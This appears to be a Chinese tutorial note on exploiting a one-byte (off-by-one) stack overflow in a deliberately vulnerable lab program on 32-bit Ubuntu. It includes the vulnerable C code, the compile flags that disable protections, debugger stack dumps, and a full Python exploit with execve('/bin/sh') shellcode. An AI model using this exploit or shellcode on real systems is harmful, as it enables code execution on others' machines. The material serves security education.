Linux漏洞分析入門筆記-Off-By-One(棧)
ubuntu-16.04.5(X86)
IDA7.0
0x00.漏洞描述
1.什麼是off by one?又稱1位元組溢位。
源字串長度等於目標緩衝區長度時,將源字串複製到目標緩衝區可能會導致off by one。
當源字串長度等於目標緩衝區長度時,NULL位元組將被複制到目標緩衝區上方。這裡由於目標緩衝區位於堆疊中,所以單個NULL位元組可以覆蓋儲存在堆疊中的呼叫者的EBP的最低位(1位元組),這可能導致任意的程式碼執行。
0x01.漏洞分析
1.示例程式碼:
1 #include <stdio.h> 2 #include <string.h> 3 voidfoo(char* arg); 4 void bar(char* arg); 5 void foo(char* arg) { 6 bar(arg); /* [1] */ 7 } 8 void bar(char* arg) { 9 char buf[256]; 10 strcpy(buf, arg); /* [2] */ 11 } 12 int main(int argc, char *argv[]) { 13 if(strlen(argv[1])>256) { /* [3] */ 14 printf("Attempted Buffer Overflow\n"); 15 fflush(stdout);16 return -1; 17 } 18 foo(argv[1]); /* [4] */ 19 return 0; 20 }
編譯生成目標檔案:
gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
上述示例程式碼的第[2]行是可能發生off by one溢位的地方。目標緩衝區長度為256,因此長度為256位元組的源字串可能導致任意程式碼執行。
2.如何產生任意程式碼執行?動態除錯,如下圖1所示,拷貝字串前棧情況。
圖1
如果呼叫foo者的EBP位於目標緩衝區之上,則在strcpy之後,單個NULL(0x00)位元組將覆蓋呼叫者EBP的最後一個位元組,如圖2所示。
圖2
構造poc
//偏移
0xBFFFEF00-0xBFFFEE58+0x4=0xAC
python -c "print 'A' * 172 + 'B' * 4 + 'C' * 80"
執行strcpy之後,儲存在目標緩衝區buf之上的EBP被一個NULL(0x00)位元組所覆蓋,ebp從0xBFFFEF64變為0xBFFFEF00(可對比圖1圖2)。從偵錯程式堆疊佈局我們可以看到堆疊位置0xBFFFEF00是目標緩衝區buf的一部分。
//拷貝前棧 BFFFEE58 F63D4E2E BFFFEE5C B7E0CF12 libc_2.23.so:B7E0C BFFFEE60 000008EA BFFFEE64 B7E16618 libc_2.23.so:B7E16 BFFFEE68 B7E15DC8 libc_2.23.so:B7E15 BFFFEE6C 07B1EA71 BFFFEE70 B7FF7AC4 ld_2.23.so:__get_c BFFFEE74 BFFFEF20 [stack]:BFFFEF20 BFFFEE78 B7FF59F3 ld_2.23.so:__get_c BFFFEE7C B7FD5470 debug003:B7FD5470 BFFFEE80 00000000 BFFFEE84 00000000 BFFFEE88 B7FFF000 ld_2.23.so:B7FFF00 BFFFEE8C B7FFFC08 ld_2.23.so:_r_debu BFFFEE90 00000000 BFFFEE94 00000000 BFFFEE98 00000000 BFFFEE9C BFFFEF2C [stack]:BFFFEF2C BFFFEEA0 B7FE3FC9 ld_2.23.so:_dl_rtl BFFFEEA4 00000000 BFFFEEA8 B7FFFAD0 ld_2.23.so:_r_debu BFFFEEAC BFFFEF28 [stack]:BFFFEF28 BFFFEEB0 BFFFEF70 [stack]:BFFFEF70 BFFFEEB4 B7FE4B4B ld_2.23.so:_dl_rtl BFFFEEB8 08048220 LOAD:08048220 BFFFEEBC BFFFEF28 [stack]:BFFFEF28 BFFFEEC0 B7FFFA74 ld_2.23.so:_r_debu BFFFEEC4 00000001 BFFFEEC8 B7FD54A0 debug003:B7FD54A0 BFFFEECC 00000001 BFFFEED0 00000000 BFFFEED4 00000001 BFFFEED8 B7FFF918 ld_2.23.so:_r_debu BFFFEEDC 00F0B5FF BFFFEEE0 BFFFEF1E [stack]:BFFFEF1E BFFFEEE4 00000001 BFFFEEE8 000000C2 BFFFEEEC B7E996BB libc_2.23.so:strer BFFFEEF0 BFFFEF1E [stack]:BFFFEF1E BFFFEEF4 BFFFF020 [stack]:BFFFF020 BFFFEEF8 000000E0 BFFFEEFC 00000000 BFFFEF00 B7FFF000 ld_2.23.so:B7FFF00 BFFFEF04 B7FFF918 ld_2.23.so:_r_debu BFFFEF08 BFFFEF20 [stack]:BFFFEF20 BFFFEF0C 08048293 LOAD:aLibcStartMai BFFFEF10 00000000 BFFFEF14 BFFFEFB4 [stack]:BFFFEFB4 BFFFEF18 B7FBB000 libc_2.23.so:B7FBB BFFFEF1C 0000FF17 BFFFEF20 FFFFFFFF BFFFEF24 0000002F BFFFEF28 B7E15DC8 libc_2.23.so:B7E15 BFFFEF2C B7FD51B0 debug003:B7FD51B0 BFFFEF30 00008000 BFFFEF34 08049FF4 .got.plt:_GLOBAL_O BFFFEF38 00000002 BFFFEF3C 08048341 _init_proc+29 BFFFEF40 00000002 BFFFEF44 00000000 BFFFEF48 08049FF4 .got.plt:_GLOBAL_O BFFFEF4C 08048531 __libc_csu_init+21 BFFFEF50 B7FBB000 libc_2.23.so:B7FBB BFFFEF54 B7FBB000 libc_2.23.so:B7FBB BFFFEF58 BFFFEF64 [stack]:BFFFEF64 BFFFEF5C 08048475 foo+11 BFFFEF60 BFFFF20D [stack]:BFFFF20D BFFFEF64 BFFFEF78 [stack]:BFFFEF78 BFFFEF68 080484F9 main+62 BFFFEF6C BFFFF20D [stack]:BFFFF20D
//拷貝後棧 BFFFEE58 41414141 BFFFEE5C 41414141 BFFFEE60 41414141 BFFFEE64 41414141 BFFFEE68 41414141 BFFFEE6C 41414141 BFFFEE70 41414141 BFFFEE74 41414141 BFFFEE78 41414141 BFFFEE7C 41414141 BFFFEE80 41414141 BFFFEE84 41414141 BFFFEE88 41414141 BFFFEE8C 41414141 BFFFEE90 41414141 BFFFEE94 41414141 BFFFEE98 41414141 BFFFEE9C 41414141 BFFFEEA0 41414141 BFFFEEA4 41414141 BFFFEEA8 41414141 BFFFEEAC 41414141 BFFFEEB0 41414141 BFFFEEB4 41414141 BFFFEEB8 41414141 BFFFEEBC 41414141 BFFFEEC0 41414141 BFFFEEC4 41414141 BFFFEEC8 41414141 BFFFEECC 41414141 BFFFEED0 41414141 BFFFEED4 41414141 BFFFEED8 41414141 BFFFEEDC 41414141 BFFFEEE0 41414141 BFFFEEE4 41414141 BFFFEEE8 41414141 BFFFEEEC 41414141 BFFFEEF0 41414141 BFFFEEF4 41414141 BFFFEEF8 41414141 BFFFEEFC 41414141 BFFFEF00 41414141 BFFFEF04 42424242 BFFFEF08 43434343 BFFFEF0C 43434343 BFFFEF10 43434343 BFFFEF14 43434343 BFFFEF18 43434343 BFFFEF1C 43434343 BFFFEF20 43434343 BFFFEF24 43434343 BFFFEF28 43434343 BFFFEF2C 43434343 BFFFEF30 43434343 BFFFEF34 43434343 BFFFEF38 43434343 BFFFEF3C 43434343 BFFFEF40 43434343 BFFFEF44 43434343 BFFFEF48 43434343 BFFFEF4C 43434343 BFFFEF50 43434343 BFFFEF54 43434343 BFFFEF58 BFFFEF00 [stack]:BFFFEF00 BFFFEF5C 08048475 foo+11 BFFFEF60 BFFFF20D [stack]:BFFFF20D BFFFEF64 BFFFEF78 [stack]:BFFFEF78 BFFFEF68 080484F9 main+62 BFFFEF6C BFFFF20D [stack]:BFFFF20D
3.根據棧回溯,可以控制這個堆疊位置(0xBFFFEF00),因此他控制指令指標(eip )使用他可以實現任意程式碼執行,如圖3圖4。
圖3
圖4
leave指令相當執行了兩條指令 mov ebp, esp; pop ebp,而EPB後面剛好是函式返回地址,再執行ret指令時EIP就指向了攻擊者可以控制返回地址。
4.Poc編寫獲取shell
1 #!/usr/bin/env python 2 import struct 3 from subprocess import call 4 #execve(/bin/sh) 5 shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90" 6 ret_addr = 0xBFFFEF18 7 def conv(num): 8 return struct.pack("<I",num) 9 buf = "A" * 172 10 buf += conv(ret_addr) 11 buf += "\x90" * 30 12 buf += shellcode 13 buf += "\x90" * 22 14 print "Calling program" 15 call(["./vuln", buf])
圖5
圖5所示,成功獲取shell。
0x02.總結
1.如果堆疊是隨機的就不能成功利用,每次大小都是不一樣的,很難固定shellcode的位置,所以關閉了ASLR。還有就是被溢位的地址必須得是buf的地址才能有機會成功。